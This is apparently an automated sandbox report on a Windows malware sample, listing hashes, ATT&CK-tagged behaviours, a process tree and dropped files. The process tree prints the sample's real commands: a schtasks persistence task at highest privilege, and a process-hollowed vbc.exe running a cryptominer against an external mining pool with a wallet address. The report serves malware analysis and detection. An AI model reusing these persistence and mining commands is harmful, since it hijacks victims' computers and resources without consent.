cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d

General

Target

80c4295d0116b0862ac0e56a8331be3c.exe
Size

837KB
MD5

80c4295d0116b0862ac0e56a8331be3c
SHA1

f3186c21cf7f4fd73b455c83949b7bf05bd4cd17
SHA256

cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d
SHA512

cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08
SSDEEP

6144:XIRmE/X7jGO8QdFKNEvLtRr0NSYb4Tb7+6sh3ElQ+fu5mbw9H9TH2v4ZEOg3qRqe:knJTzdbath35584mOAqk3+o8O8oo

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4104	VCXRYF.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	VCXRYF.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4104 set thread context of 3044	4104	VCXRYF.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1292	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1136	timeout.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4104	VCXRYF.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	80c4295d0116b0862ac0e56a8331be3c.exe
Token: SeDebugPrivilege	4104	VCXRYF.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 4236	1944	80c4295d0116b0862ac0e56a8331be3c.exe	82
PID 1944 wrote to memory of 4236	1944	80c4295d0116b0862ac0e56a8331be3c.exe	82
PID 4236 wrote to memory of 1136	4236	cmd.exe	84
PID 4236 wrote to memory of 1136	4236	cmd.exe	84
PID 4236 wrote to memory of 4104	4236	cmd.exe	85
PID 4236 wrote to memory of 4104	4236	cmd.exe	85
PID 4104 wrote to memory of 4328	4104	VCXRYF.exe	86
PID 4104 wrote to memory of 4328	4104	VCXRYF.exe	86
PID 4328 wrote to memory of 1292	4328	cmd.exe	88
PID 4328 wrote to memory of 1292	4328	cmd.exe	88
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 4104 wrote to memory of 3044	4104	VCXRYF.exe	92
PID 3044 wrote to memory of 4440	3044	vbc.exe	93
PID 3044 wrote to memory of 4440	3044	vbc.exe	93

C:\Users\Admin\AppData\Local\Temp\80c4295d0116b0862ac0e56a8331be3c.exe
"C:\Users\Admin\AppData\Local\Temp\80c4295d0116b0862ac0e56a8331be3c.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7E2D.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1136
- - C:\ProgramData\Updater\VCXRYF.exe
    "C:\ProgramData\Updater\VCXRYF.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VCXRYF" /tr "C:\ProgramData\Updater\VCXRYF.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4328
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VCXRYF" /tr "C:\ProgramData\Updater\VCXRYF.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:1292
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RGYwrDXJZRJD8C3PzNb2dXbpd4P3nPCyqR.work -p x -t 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3044
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        5⤵
        
        PID:4440

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Updater\VCXRYF.exe

Filesize
837KB

MD5
80c4295d0116b0862ac0e56a8331be3c

SHA1
f3186c21cf7f4fd73b455c83949b7bf05bd4cd17

SHA256
cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d

SHA512
cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08

Download Submit
C:\ProgramData\Updater\VCXRYF.exe

Filesize
837KB

MD5
80c4295d0116b0862ac0e56a8331be3c

SHA1
f3186c21cf7f4fd73b455c83949b7bf05bd4cd17

SHA256
cd71732fc0073cf2dd0af243f6b10b3ec0d2cd19e9ba6b2e7e9b82d08f313a7d

SHA512
cdecee2d70d07c8f51231fd98b932eb8acac5ba8200802943aef36ff4c6e0e0d22934acaa102aa7fa4be66bd7444ecf07214a9399ae07b23a5881653b5aa0a08

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7E2D.tmp.bat

Filesize
142B

MD5
3af49600f4eb28f89f931bca066725d2

SHA1
6d63d1ad01380a9f4838b8b33e65482a276a7450

SHA256
b690c593e5d84312ce25d8a3d05075a8aa6ca0319e7dcfac383fc28408fcb344

SHA512
b1172c3218f3dc9c67186c24eedc99d7228542beee712e4c0d241aef7f2bb2f68322ca2dc0df8464fcfbc86de2ff4b3085b8c60844ff5af8ef7d510b0ce69afd

Download Submit
memory/1944-136-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1944-150-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

Filesize
10.8MB

Download
memory/1944-132-0x0000000000E20000-0x0000000000EF6000-memory.dmp

Filesize
856KB

Download
memory/3044-151-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/3044-148-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/3044-146-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/3044-143-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/3044-145-0x0000000140000000-0x00000001400C6000-memory.dmp

Filesize
792KB

Download
memory/4104-142-0x00007FF832EE0000-0x00007FF8339A1000-memory.dmp

Filesize
10.8MB

Download
memory/4104-149-0x00007FF832EE0000-0x00007FF8339A1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads